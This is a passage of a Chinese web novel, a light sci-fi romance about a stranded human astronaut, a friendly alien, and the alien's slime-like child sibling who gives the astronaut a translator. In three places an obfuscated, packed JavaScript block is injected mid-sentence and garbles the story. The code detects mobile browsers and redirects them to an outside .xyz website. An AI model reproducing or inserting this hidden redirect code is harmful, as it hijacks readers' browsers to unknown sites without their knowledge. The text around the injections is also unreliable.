“你喜欢。”伊西多尔反问道:“一起去买吗?” 钟章握着筷子的手停顿下。接着他意识到自己没有听错,伊西多尔说了一个【买】字。这个词汇代表很多意思,但眼下最直观的意义是钟章可以接触伊西多尔之外的外星物种。 “真的可以吗?” “嗯。”伊西多尔微笑道。他与钟章之间还隔着张桌子,两人一南一北坐着。可他笑起来的一瞬间,钟章完全无法挪开视线,好像伊西多尔的脸刹那出现在自己面前,他弯起的眉宇是如此近,抿起的嘴唇几乎要贴在自己耳边。 伊西多尔真的来到钟章身边。 他的胸口因距离拉近,微微压在钟章的手臂上。钟章能感觉到一阵微妙的温热,接着是发烫,他用余光扫视着伊西多尔,下巴抵在胸膛上。 “真的。真的吗?”钟章努力让自己别看,可伊西多尔却浑然不觉往前送了送。他的胸膛挤着钟章的胳膊,碗筷都朝着一边走。钟章无法遏制地再看一眼,在心里唾弃自己。 呸。下流。 伊西多尔依旧是笑眯眯的样子,他道:“嗯。” 钟章心甜得发苦,下一秒,咔擦一声。 他的脖子被锁上一道项圈。 “安全。”伊西多尔指着钟章的脖颈,手做出一个“握”的动作,言简意赅地说道:“脆。” 人类的脖子太脆弱了,需要用项圈保护才安全。 钟章理解外星朋友的意思。可当他走入商区,看到和自己带着同款的项圈的四足动物、软体动物、爬行类动物,总觉得哪哪儿不对。 他不会要被当做稀有动物卖掉吧? * “哥哥。”小果泥也有类似的困惑。他离开餐盘,就完全活跃起来,一坨趴在伊西多尔胳膊里,软趴趴看着被牵着的人类男性,问道:“你要卖掉他吗?” 商区似乎离他们很近。 又是一通坐“电梯”,钟章跟着伊西多尔和果泥坐上一个球状设备。钟章屁股落座,暗下决心好好好观察四周,然后被伊西多尔叫醒。 “你呼呼得好大声。”小果泥抱怨起来,没说两句,被伊西多尔捉到怀里教育。 钟章丢脸得左顾右盼。 人烟稀少,各种庞大的建筑和货架比比皆是。非要形容,很像用透明集装箱堆砌起来的超级码头。 钟章仔细观察这个陌生的外星超市。他的目光扫过一片展示台,与里面形形色色的生物对视,看见那一串同款项圈,有些不舒服地别过目光。 “哥哥。真的要卖掉他吗?” 听到幼崽说中文,又是什么卖不卖的词汇。钟章马上看向伊西多尔。 伊西多尔看着怀里的小果泥,再看看身边严肃的东方红族,嬉皮笑脸逗他们玩,“不可以吗?” “当然。不可以。”小果泥气呼呼,“果泥还要学习。果泥送给雄父礼物。” “省省吧。”伊西多尔道:“你只有三岁。再怎么学也学不会。” 小果泥真的要生气了,他在伊西多尔胳膊上又啃又咬,凉粉牙都酸了还没啃破皮。他索性“咻咻”弹到钟章脑壳上,大煎饼一样铺开,弄得钟章脑门凉飕飕。 钟章用手托住小果泥的凉粉屁股,先安慰这小家伙,“怎么还生气了?我都没生气呢。” 小果泥呼噜呼噜,找到人告状,“哥哥坏,说泥笨。” 泥?是自称吗?还是中文的你? 钟章哭笑不得。他和蔼地和稀泥,“哥哥坏,那其他人呢?他们总不会说果泥坏吧。” “他们不在。”果泥挥挥手,拍拍钟章的脑瓜,“雄性的父亲不会说果泥。父亲是最好的亲亲。” 这句话翻译得真烂。 不过没事,钟章套话就是为了弄明白果泥和伊西多尔的家庭概况。他从房间到机甲仓库,一直没见到其他活物。 难道伊西多尔这个种族是独居生物?钟章脑子里总有很多想法。戴上项圈之后,他自己尝试抠开项圈,但别说什么锁孔了,钟章都找不到皮肤和项圈的衔接处。他指甲在项圈周边刮半天,一个划痕都没留下。 他也不藏着掖着,安抚好小果泥后,直接问伊西多尔,“你要卖了我?” 伊西多尔也很直接,他道:“你不值钱。” 钟章心悄悄碎了一下。 他一时间都不知道应该庆幸自己不值钱,还是心酸自己不值钱。他还想继续和伊西多尔说点话,前方传来一阵稍微尖锐的声音,听上去来自很低的位置。钟章马上联想到和小果泥的第一次见面,他探出身看去,一群小小的车子从他身边开过。 那些车子很像地球游乐园里的碰碰车,四周包裹防碰撞的胶条,不过整体更小,也没有直立的杆子。一大群看上去很相似的孩子就这样开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450552|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着车在超市货架之中随处乱撞,发出喜悦的尖叫声。 “果泥也要玩!”小果泥叫唤起来。 至于卖不卖什么东方红族,他完全忘记了。钟章感觉自己脑袋上滑不溜一下,小果泥又到伊西多尔怀里撒娇,哥哥哥哥吵吵囔囔起来。 伊西多尔给他玩,但要求他不准离开自己五十米外。 “太少了。” “那就别玩。” 小果泥犹豫,踌躇,憋着小脸瞅伊西多尔,发现哥哥没有半点可怜自己,气呼呼决定玩。 伊西多尔从口袋里掏出两枚钻石一样的矿石塞给小果泥。钟章正猜测这是他们世界的货币时,小果泥嗷呜吞下这东西,泥巴状的身体开始变得结实。它先长出一颗小小的脑袋,脑袋上凸出两根细长的触角。它慌里慌张长出两只手,拍拍那对触角,又扭过屁股,摸摸背后长出的一对胖蝴蝶翅膀,心虚地看着伊西多尔和钟章。 “哥哥。”小果泥伸出手。 “去吧。”伊西多尔与他击掌,“不准跑远。” 钟章还没说什么话,前方好几个外星人跑过来。他们也和伊西多尔一样,正面看极像人类,在身体各个部位长着不同形状的花纹。钟章还没仔细看,那些外星人已经去那些小碰碰车中找孩子。 除了他们一手好几个孩子外,和地球家长没什么区别。 一个成年体养育好几个孩子吗?那这个外星社会养育孩子的成本一定很低。 “买完面条。你就回去。”伊西多尔说话断断续续,比之前更加艰难。钟章听了好几遍才分辨出他在说什么。 他问道:“跟你回之前的地方吗?” 伊西多尔也听了好几遍,两个人一边说话一边往小果泥的方向走。孩子玩闹的尖叫声一度盖过他们的低语。 “不是。” “?” 伊西多尔道:“下,回,东方红。” 钟章心中升起一个不可思议的想法。他心跳得极快,“你是说,回我的星球?” “嗯。”伊西多尔往某个机器上敲打几下,前方墙壁很快向上卷,露出一辆巨大叉车。他先爬上车座,拉着钟章上来,“买面条。给你机甲。安全回家。” 朋友! 我亲爱的外星朋友!你到底是怎么回事!你怎么会对未曾谋面的我初始好感度这么高?你多说点,解释一下啊。钟章心跳得极快,一方面他想回家,一方面又防范自己成为带路党,在不知情的情况下带领外星人攻陷老家。 主要是,伊西多尔对自己好得太出奇了。 钟章看着外星朋友用叉车购物,一箱一箱地选购不同食材。小果泥开着碰碰车,在他们前方呜呜地开,一行人各有各的心思和事情做,结束购物时脸都红红的。 小果泥是玩得开心。 伊西多尔则是累的。 钟章是想得爆炸。 为什么啊?为什么啊我亲爱的外星朋友?从我们见面说话到现在出来买东西,有三天时间吗?你怎么会这么的……友好? 想得心烦,钟章决定直接问,“伊西多尔,你为什么这对我这么好。” 伊西多尔没有任何犹豫。 他脱口而出,“因为我喜欢外星人。” 啊——原来如此来,听上去确实是个很好的理由——个屁啊!!!你一个外星人喜欢外星人吗? 钟章的世界观受到强烈冲击。 5. 第五章 第五章 地球上曾经掀起过一阵外星人热浪。 无数人寻找外星人、证明外星人的存在,甚至信仰未知的外星文明,期盼更加强大的外星文明能够拯救地球。 钟章没有经历过那个时代。 他出生的时代流行“黑暗森林说”,社会对外星人的态度也从积极开放的探索模式,变为高度封锁的警惕模式。就连钟章所在的地外探索单位,数十年来也仅仅在太阳系内探索。 钟章因太空意外沦落到外星世界。 他无法不抱着最糟糕的可能性去与伊西多尔交流——现在好了,一个外星人说他喜欢外星人?这要怎么搞?钟章没有办法继续对伊西多尔冷着脸,他内心蠢蠢欲动,一个很刺激的想法逐渐形成。 “伊西多尔。”钟章暗戳戳提出自己的第一个要求,“我能看看我的载人航空飞行器吗?” * 钟章的载人航空飞行器是华国生产的第三款小型星际远航舱。 虽然这东西体积大,内部小,蔽塞程度和潜艇有得一比,在基地内有“太空潜水艇”的美誉,被称为航空史上最容易导致抑郁的载人飞行器。但在结合诸多缺陷和超长续航等诸多优点后,华国赋予了它一个美好的名字: 【烛龙舱】 取自《山海经》中的“烛龙”形象,既有“烛龙衔火照天门”的美好寓意,也象征了地外探索者在茫茫黑暗中孤身探索的精神。 钟章所驾驶的烛龙舱是该系列07号产物。 “坏得这么严重啊。”钟章心疼地看着眼前四崩五裂的远航机。他绕着每一块碎片转圈,时不时蹲下来分辨里面熟悉的器械,看看还有什么可以回收利用的。 他还蛮好奇伊西多尔当时是怎么救下自己的,不过眼下更重要的是回家。 “坏成这样,修好要很久吧。” 伊西多尔:“我送你。” 钟章被连续的好意轰炸后,感官都有些麻木了。伊西多尔愿意送他,那是顶好的事情。可惜他还是没有办法放下那点该死的戒备心,“送我回家吗?” “送你,这个。”伊西多尔指着远航机的残骸,“我会做。” 钟章的好奇心快要爆炸了。伊西多尔对自己到底哪里来得好感度?难道他捡到一个外星人就会好酒好肉伺候对方?给对方送粮送枪还送回大本营? “你这也太好了。”钟章叹息道:“会不会很麻烦啊?” 伊西多尔道:“不做,也可以。” 钟章长舒一口气,还没长舒完。伊西多尔接着道:“你,机甲,飞回去。” 对哦,面前的外星人还要送自己机甲。 想到那超越人类科技的产物。钟章努力让自己不要贪得无厌,不要变本加厉,不要显得那么小家子气。 但他真的藏不住话,忍不住多要一点,“我可以不可把那个治疗舱搬回去。” 要是能把治疗舱搬回去给华夏科学家们研究,不知道多少绝症能被治愈,不知道多少人可以活下来,不知道多少衍生科技可以被开发出来。 钟章真的很想要这个。 伊西多尔毫不吝啬,大手一挥,“拿。” 那姿态就和奢侈品店的富豪一样,豪气万丈对柜姐说“包起来”,一举一动都充满难以言喻的魅力。 钟章没忍住再要一点。 “那个‘呼啦’出来的桶。”带回地球说不定能推动机械学、材料学的进步。 伊西多尔:“拿。” “那个飘起来的盘子。”反重力盘子,看上去也很不错。 伊西多尔:“拿。” “那个……小果泥。” 坐在一边玩积木的小果泥猛地转过头,瞪着钟章,发现这个坏东方红一脸认真,委屈嘟嘟嘴,扭头看向伊西多尔,“哥哥!” 伊西多尔:“这个不行。” 钟章也没想过拐卖人家小孩啦。他想和伊西多尔说一点成年体的话题,生怕被小孩误会。看伊西多尔大手一挥说送就送,钟章想自己不妨放下点戒心,不懂直接问,免得双方到最后闹得脸红。 “我是说,有些话可能孩子听了不太好。”钟章委婉道。 伊西多尔不理解。 钟章这段时间已经发现了。外星人的翻译器只能凑一些简短直白的中文,比较含蓄的富有潜台词的内容,外星翻译器根本翻不出来,直接跳过。为此,当面对伊西多尔不懂的内容,钟章都选择说关键词,把话说得更简单一点。 他道:“小孩子不能听。” 伊西多尔道:“没事。” 钟章还是怕等会问的话会让小果泥想起不好的事情。他坚持道:“小孩,不能听。” “为什么。”小果泥警惕看着东方红坏蛋,“你要卖掉果泥。哥哥。” 钟章:“没有卖掉你。我要和你哥哥单独在一起,待在房间里。” 伊西多尔想了下,呆呆看着钟章,几秒后,脸色大变,“你要和我睡觉?” 钟章呆滞:“啊?” 伊西多尔:“我们有**隔离。” “等一下,隔离前面那个是什么内容?”钟章开始惶恐,“等一下。等一下。这里面肯定有误会。你这个睡觉到底是怎么翻译的?” 神奇的外星翻译器!什么情况?这个睡觉到底是哪个睡觉? “我对你,好,你要睡我的觉?!”伊西多尔越发严肃,“你,看我。” 他低头看了一眼自己的胸口,显然知道钟章有时候眼睛往哪里瞥。钟章眼珠子不自觉跟过去,和伊西多尔对视一秒,十分心虚地溜达回来。 他嘴硬道:“翻译错了。我不是这个意思。睡觉。不是。” 翻译得什么玩意? 小果泥跟着念了一句,不太理解为什么两个成年体变得怪怪的。伊西多尔哥哥脸红脖子红胸口也是红的,那个东方红族则张大嘴巴一副备受打击的样子。 “睡觉。”小果泥大声道:“我也和哥哥睡觉。” 伊西多尔:“你闭嘴。” 他这么一说,小果泥偏偏不闭嘴。 幼崽抱着积木在两人之间绕圈滚,“哼。就要睡觉。哼哼。就要。睡觉。哥哥睡觉睡觉睡觉觉。” 钟章捂着脸,感觉祖国未来的重任(他自己给自己授权的),第一次与外星友人的友好邦交要被自己搞砸了。实际上,他只是想问问伊西多尔的家庭情况,看看有什么自己能帮上忙的。 他是怕有什么不能说给孩子听的伤心事,才想要孩子提前离场。 什么家里人都不在了之类的,或者少儿不宜的话…… 他到底哪句话说要和伊西多尔睡觉了! 伊西多尔也捂着脸。不过片刻,忍耐力到极限的外星家长撩起袖子,揪住小果泥那对胖翅膀,把崽按在膝盖上打屁股。 巴掌还没落下,小果泥嗷嗷哭起来。 他一哭,伊西多尔那些话顿时从钟章听得懂的中文,慢慢模糊成钟章听不懂的外星语。一切语言都变得潮湿,不断被模糊音量、腔调和意义。 钟章惊愕得看着这一幕,努力分辨孩子哭声里伊西多尔说的话。 可此时此刻,他再聚精会神,也没有办法听清楚伊西多尔说了什么。就连小果泥说得话也变成各种奇怪的腔调,咕噜咕噜呼噜呼噜嘟噜嘟噜,什么样子都有。 “哇呜呜。”小果泥越哭越矮。他在商场还是一个带翅膀的白发小胖崽,现在和烧融化的蜡烛一样,重新瘫成一坨白凉粉泥巴。 “父父。芙芙。”小果泥哭诉道:“哥哥。哥哥欺负果泥哇呜呜。” 哭着哭着,他融化成一滩更矮的透明色水流,从伊西多尔脚底下哭着流走了。伊西多尔伸出手去抓,三两次都没抓住,生气地在原地跳脚。 他对钟章说了几句话,那些话和回南天的窗玻璃一样,裹着层强烈的水汽。钟章听不明白,更无法理解。伊西多尔却顾不上东方红族,推开门去找抄网,气冲冲捞果泥这个崽。 房间一下子安静下来了。 钟章用力拍脸,强制让自己冷静下来。 好了。钟章,是你自己没有把话说清楚。你忘记地外探索手册那些注意事项了吗?外星文明毕竟是外星文明,对方不仅仅是文明与地球有差异。他们可能在思维方式、生存模式、生.殖情况上都与地球人不同。 万一他和伊西多尔能盖被子生孩子呢?那个隔离不是他以为的那个隔离呢? 钟章从没有在房间里找到纸笔。他索性闭目养神,在大脑里复盘自己与伊西多尔的一言一行,得出一个结论。 “如果能学习他们的语言就好了。”钟章感叹道:“也不知道能否与破解中文的外星专家交流一下。” 那位好像是伊西多尔的……父亲?钟章记得小果泥和伊西多尔谈起他们的父亲,都用了一个很奇怪的表达。 【雄性的父亲】?难道还有【雄性的母亲】? “能够破解中文,他的水平应该比现在这个翻译器强不少。”钟章自言自语,“对方还能理解‘刀削面’‘机甲’,他对地球文明的了解肯定不少。” 被外星文明获取的卫星设备到底送了多少内容出去? 钟章完全不知道。 他坐在房间里,盘算下一步要如何和伊西多尔解开误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450553|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会。只听见“啪叽”一声,一团糊糊状的东西从上方掉下来,整个砸在钟章脸上。 冰冰凉凉,黏但不沾手。 钟章一把揪下它,果然是小果泥这个凉粉小泥巴。它看上去难过至极,哭得滑不溜秋,两颗本就不大的豆豆眼,肿成一条线。 “呜呜呜泥。果泥。”小果泥在钟章手里哭,哭到自己都要掉下去,屁股一顶,重新爬上钟章的手指骨,继续哭,“果泥又没有错。明明就是睡觉。困。困觉觉。” 这下,又能听到中文了。 钟章翻来覆去看着手中这个小家伙,脑子里产生一个很荒诞的想法。他张口就问,“果泥。你能教我说你们的话吗?” 小果泥别过头。 这是拒绝的意思。 而拒绝做一件事情,本身就有个潜台词“我能做到这件事情”。 钟章心瞬间火热起来。他想,自己如果会说伊西多尔他们种族的话,后面沟通就方便多了——学习是个很漫长的事情,当务之急是和伊西多尔一样搞个翻译器。 想到伊西多尔从果泥身体里揪出两个团团,贴到耳朵和咽喉处就能说话。钟章接下来对小果泥说话都夹着嗓子。 “哥哥想和你哥哥成为好朋友。哥哥也想和你们说一样的话。可不可以给哥哥一个。” 钟章指着自己的咽喉和耳朵。 小果泥用屁股对着这个坏家伙。 它现在脾气很大呢,才不要和这个坏东方红玩。钟章只能继续哄骗外星幼崽,“哥哥陪你玩游戏好不好?你刚刚是在搭积木吗?哥哥也很喜欢搭积木。” 小果泥用眼睛偷偷瞄这个坏家伙。 “你有什么想要的东西吗?”钟章微笑道:“哥哥会做手工,给你做地球上小朋友都玩的玩具,好不好?” 小果泥抬起眼睛,开始一下两下三下四下的看过来。 再怎么大脾气,它也是个三岁幼崽,没一会儿被钟章摆弄出来的手影吸引。 “好吧。”小果泥不情愿地说道:“你不准告诉哥哥。果泥现在要讨厌哥哥了。” 钟章:…… 糟糕。好像成为哄骗小孩干坏事的奇怪大人了。 不过都到这一步了。钟章顶着对伊西多尔的内疚疯狂点头,决定过几分钟就去坦白。 小果泥道:“你还要帮果泥找一样东西。如果不讲信用,果泥会开机甲打你屁股。” 嘿。鼻嘎大的外星幼崽,估计连机甲座椅都够不上去。 你哥开机甲打我屁股还差不多。钟章看着小果泥不足半米的小个子,疯狂点头,“当然。哥哥是守信用的大哥哥。” 等会我就去找你哥。 对坏大人一无所知的小果泥心满意足。 全世界的小孩子都容易相信大人。他们大概觉得高高壮壮的成年体无所不能,必然能办到自己做不成的事情。 小果泥当然不例外。得到钟章的承诺后,它吸吸嘴巴,眼泪不掉了,屁股不扭了,凉粉手DuangDuang晃来晃去,示意钟章把脑袋凑过来。 钟章低下头。小果泥吧唧亲他的耳朵,一阵沁凉的滋味钻入钟章的耳道,接着是咽喉和鼻腔。 “嘶。”钟章倒吸一口凉气,感觉自己炫了一整盒薄荷糖。 外星幼崽居然这么香吗?闻起来很好吃的样子。 “你。你在想什么!”小果泥啪啪敲打钟章的脑壳,“快点。快点,头头下来。” 钟章又低下头。小果泥捧着他的脸,用力往他的眼睑上各啄了一口。 那滋味,好像花露水进眼睛。钟章用力挤眼,生理性的泪水混合小果泥一起流淌过脸庞。 “怎么还有眼睛。”钟章揉着自己的双眼,要找小果泥算账,“你也没给你哥哥这样……” 钟章停止揉眼的动作。 他盯着手边喝水用的杯子看,下一秒端起杯子,捧着杯子,如获至宝地数着上面的文字。 这杯子上原本没有任何文字。钟章用杯子喝了三天水,他很确定这一点。 但现在,他从外星造物上看到了……中文? 【**制造】 “果泥。”钟章一个滑跪,对三岁的外星幼崽五体投地,“你真是哥哥在全宇宙见过最聪明、最可爱、最有智慧的小孩子。小孩子就是幼崽的意思。你不光长得可爱迷人,还乖巧懂事,流星都会为你坠落,星云都会为你陶醉……就是大家都非常喜欢你,世界第一喜欢你。” 钟章狠狠抱住面前的小果泥,猛啄对方的凉粉脑壳数下。 “你真是太棒了!超级棒!” 但我还是要告诉你哥。 6. 第六章 第六章 钟章是个讲究投桃报李的人。 关键是,他和伊西多尔正建立史诗级的友好关系。他也看出来在这地方真正能做主的人是伊西多尔,而不是三岁的小凉粉崽。 故而,钟章彻底做了一回大恶人。 沉溺在大人夸夸中的小果泥一抬头就看到板着脸的哥哥。他又要变成水果泥滑溜走时,伊西多尔一个抄网将他打捞,塞到圆形汤碗里。 “唔坏。”小果泥顶着脑袋,对坏哥哥坏东方红发脾气,“骗崽。泥。你骗崽。”伊西多尔再一按,把小果泥强制关机了。 被成年体们压榨的幼崽带着泪花,呼呼睡下去。 钟章再一遍老老实实交代自己的所思所想,以及自己迫切想要学习对方语言,达成无障碍沟通的愿景。 “我对你真的没有冒犯的意思。额。那个冒犯就是。”钟章检索什么词能更直白地表达自己的歉意,同时显得不那么粗鲁。 钟章道:“冒犯就是不讲礼貌。” 外星翻译器里应该有“礼貌”这个词汇吧。 伊西多尔沉思,举一反三道:“是指你看我的胸部吗?” ! 什么!!!什么?什么?什么词汇从外星朋友嘴巴里说出来了? 钟章脑子还在外交辞令那一块呢。伊西多尔指着自己的胸口,意义明确地戳了下饱满的胸口。 “这里。”伊西多尔道:“你喜欢看这里。” 钟章视线忍不住跟随对方的手指看去。按照地球人的审美来看,伊西多尔的胸部饱满、充满肉.欲。手指戳在上面,会留在一个浅浅的凹陷下去的肉坑,松开时,那块柔软又结实的胸脯追着指尖,一点一点填满那个充满欲望的沟壑。 伊西多尔道:“喜欢。多看。” 他凑近钟章,诚恳得令色鬼羞愧。 “我的朋友。”伊西多尔抓起他的手,放在自己的胸口,温和地说道:“你很弱。没关系。你摸摸我吧。” 钟章第一次摸到外星人。 他脸腾地涨红起来,一是为这个进度,二是为自己的嘴笨。他很想抬起空的另外一只手狠狠扇自己几巴掌,可当他真的抬起手时,只能拽回自己被放在伊西多尔胸膛上的手,心虚到肩膀紧绷,双腿并拢。 “我。我不是这个意思。” “嗯。”伊西多尔笑眯眯看着他,“果泥。现在睡着了。” 所以,你要和我说什么成年体之间的话题呢? “我。”钟章后退一步。他明明把手缩回来,身边的空间,属于他的领地却进一步缩小。他每后退一步,伊西多尔都向前一步,姿态从容,坦率自然。这位长相俊帅开朗的外星朋友,甚至将双手背在腰后,用胸口顶着逼迫着钟章。 直至,他们行进到退无可退的地步。 伊西多尔伸出手,将钟章抵在墙角,注视着他。 “下次。” 钟章脊背贴着墙,他感觉一根线将他脑袋、骨头全部提起来。在这种亲密接触下,他不得不重新考虑之前外星朋友说得所有“喜欢”,到底是哪种“喜欢”? 那个“我喜欢外星人”,不会真的是生理性的要真刀真枪的“喜欢”吧。 钟章被挤压到踮起脚尖。伊西多尔身上的气味压迫他,如同小果泥一样散发出可人的薄荷清香,内里却有一种熟透了的果子的香味。钟章忍不住吞咽口水,他别过头,伊西多尔伸出手将他的头掰回来。 外星朋友严肃道:“下次。不许欺负。果泥。” 说完。他缓缓退去。 徒留下钟章身上那淡淡的香味和温暖的属于另外一种生物的体温。 钟章扶着墙壁的两只手,先是缓缓垂下,随后缓缓地按住自己的心脏。再后来,他整个人煮熟了一样蜷缩在墙角,发出种无可奈何又恨铁不成钢的长叹。 ——怎么会这样啊。 * 序言也在想这件事情。 他修理小果泥,把这个小家伙提溜起来,放在修理台上进行谆谆教导,“又被骗了。你怎么回事?” 小果泥垂着四肢,嘴巴翘得老高,屁股也翘得老高。 序言用零食逗它,它还到处扭头,不吃不吃就是不吃。 “外星生物也有坏的。”序言恐吓傻崽,“你这样的小果泥,会被他们当做食物嗷呜嗷呜吃掉的。” 小果泥:“闹钟坏!” 序言缓了一会儿,才意识到闹钟是指钟章。虽然他到现在也没有记住钟章的名字,现在连那两个音节叫什么都忘记了,但小果泥说那是“闹钟”,那就是“闹钟”吧。 如此看来,外星朋友叫他“伊西多尔”也不是什么奇怪的事情了。 他自己都没记住对方的名字怎么念。 “闹钟坏,我们不理闹钟好不好。”序言想起自己刚刚的所作所为,拿出来哄幼崽,“你看哥哥刚刚都惩罚坏闹钟了。” “哼。”小果泥才不相信呢。 他也喜欢哥哥的胸脯,每次躺在哥哥怀里,都能想到雄父。一想到那个说话不算话还骗小孩的坏东方红要和自己一样享受哥哥的怀抱,小果泥又要开始闹了。 “不喜欢他。” “可是东方红语是雄父最后的研究项目。”序言安慰道:“你不是还说,要把东方红族当做礼物送给雄父吗?” 小果泥瘫在餐盘里,不说话好一会儿,才慢吞吞拉起序言的手。 “哥哥真的惩罚他了吗?” 谈起这个,序言可要邀功了。 “当然。”他在空中指挥几下,调度出一段视频,“这是那颗卫星里得到的资料。你看这是不是两个东方红族。” 一段模糊的视频上,两个穿得流里流气的男人袒胸露臂,胸腰上都纹着各类纹身。他们并没有手持器械,双手放在背后或两侧,双目圆瞪,嘴巴向前凸,一边说着狠话,一边朝着对方走过去,最后胸口抵住胸口,脑袋碰脑袋。 双方杀气毕露。 序言指着他雄父翻译出来的只言片语,很相信自己做了正确的事情,“你看。这些内容不是杀,就是打。这个动作绝对是他们东方红族里威胁敌人的动作。说不定他们和一些生物一样,会用胸部来角斗呢。” 小果泥看看糊糊的视频,看看掷地有声的哥哥,最后看看监控视频里蹲在地上久久没有回神的坏东方红族。 孩子相信了。 孩子舒心了。 “哥哥。多多。打他。”小果泥大叫道:“他坏。他骗崽!泥。果泥都亲他了。他。他还骗崽。坏死了。” 序言肯定会这样做。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450554|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他对东方红族有一定的好感度,但这好感度是继承自他的雄父。要是钟章继续在他面前欺负小果泥,他务必要用力惩罚这个东方红族。 “你也是。”序言戳戳小果泥屁股,“哥哥说了。其他都可以给你玩,‘钻钻’不行,再找人去拿,哥哥会把你打成果汁哦。” 小果泥哼哼,也不知道有没有听进去。 反正,他正欣赏那段模糊的视频,安慰自己被欺骗的小心灵。 “哥哥。”小果泥强调道:“多多。磅磅。打他。” 序言满口答应,“嗯。哥哥会的。” 东方红族的雌性在他们的语境里叫做“男性”。序言跟着雄父零零碎碎看了不少资料,他断定像钟章这样的雌性都以上半身雄伟自豪。 而谈到胸部…… 序言很有自知之名的看了自己一眼,信心满满:那个东方红族绝对比不过自己。到时候说不定还要自己这个外族人去安慰一下对方,让对方不要因为自己的那个什么“冒昧”伤心难过呢。 他道:“果泥放心。哥哥胸很大。” 小果泥啪啪给哥哥鼓掌,“哥哥好棒。” 序言扫了崽一眼,心中又开始叹气。 唉。 东方红语好歹是雄父生前最后的研究项目,雄父心心念念和自己聊了很多,直到去世前都没有见过活着的东方红族。 ……自己晚点还是去安慰一下对方吧。 别真给外星朋友搞得不舒服了,他那么脆弱。 * 序言忙着安慰小果泥受伤的心灵。 没有人来安慰钟章遭受冲击的心灵。 ——来到外星世界的每一分每一秒,他都在怀疑自己的魅力,肯定自己的魅力,又重新质疑自己真的长得很帅吗? 不应该啊。 他在地球母单这么久,难道换个环境就成为绝世大帅哥吗?难道他不光符合地球人审美,还非常符合外星人的审美吗? 可是除了他自己长得帅,非常有魅力之外,就剩下外星要攻打地球计划用美人计策反自己这条路线了。 钟章幻视一圈四周发达的科技,再想想老家那些玩意儿,觉得对方攻打地球可能还填不满油钱。 那,就是,他自己非常有魅力吗? 当排除一切不可能的选项后,最后一个选项哪怕再荒诞、再奇特,那也是唯一的真相! “不过,伊西多尔对我应该没有到真正的喜欢。”钟章努力把自己的自恋情节拉回来一点,“就是咳咳。可能有一点好奇和基础的好感吧。” 他心猿意马地想对方贴在自己身上柔软的触感,近在咫尺的淡淡的薄荷清香与果子的甜香。 哇——如果邪恶的外星人对自己研究那么深,愿意送钱送科技让自己带回老家。还愿意额外派一个他无法拒绝的大胸帅哥和他亲密接触。 那。那他在这种举目无亲的地方,稍微认栽也是可以的吧。 “不管了。”钟章深吸一口气,什么阴谋论什么爱上我都丢到脑后。一个大胆的想法逐渐在他心中成形,“就算是美人计,来啊。拿这个考验宇航员,看不起谁呢?” 况且,只允许伊西多尔发散魅力吗? 他钟章也是超级自信到有些自恋,对自己魅力很有信心的帅哥啊! 7. 第七章 第七章 钟章开始打扮自己。 他积极学习各种外星日用品,像孔雀开屏一样每天捣腾自己的脸和身材,包括但不限于:尝试各种外星服饰佩饰、研究外星日用品、跟着伊西多尔洗漱。 伊西多尔没有任何障碍的接受了钟章在自己面前开屏这件事。 “我想要试试看这件。”钟章举起一件长袍,手指挑开那些宝石珠链,问道:“这要怎么穿?” 伊西多尔站起来,帮他把这件衣服展开。 “这是礼仪的衣服。”伊西多尔说着中文。 这糟糕的翻译,让钟章脑子卡壳一下,立刻反应过来。 这原来是一套外星礼服吗? 钟章瞬间明白了,他先道歉表示自己不知道这是一件贵重的衣服,又十分夸张地赞美这套衣服的华美程度,生怕外星朋友听不懂自己的意思。 “这件衣服真的是太美了。我见过的所有衣服都不如它美丽。”钟章指着衣服上的珠宝问道:“这些是你们的宝石吗?” 伊西多尔道:“不是。” 钟章:? 地球人眨巴下眼,感觉可能是对方没有理解“宝石”的意思。他只能用更加简单的语言去解释,“这些,不是你们那的漂亮石头吗?” “不是。” 伊西多尔想了下,说道:“这些是家里流传下来的。” 嘶——这么贵重吗? 钟章开屏都开不起来了。他上半身套个老头背心,每次换上新衣服都要脱掉,展示下自己的胸肌背肌,然后观察伊西多尔的表情。 伊西多尔看他,他就不经意凹出一个凸显肌肉的造型。伊西多尔不看他,他就刻意凹一个更有雄性魅力的造型,等再伊西多尔看他,同时和小果泥嘀嘀咕咕,钟章两手搓脑壳,又一个完美亮相。 呵。区区美人计。钟章自信上头,开始觉得觉得自己是世界宠儿了。 殊不知,伊西多尔和小果泥在边上蛐蛐他。 “他在干嘛?”伊西多尔道:“衣服对东方红族来说长刺吗?” 看在对方是自己平生所见第一个东方红族人的份上,伊西多尔表示自己可以拿出更加柔软的织物,来帮助被扎成刺挠的外星朋友。 于是,就有了那件从家里传下来的豪华礼服。 “这太贵了。”钟章感叹道。 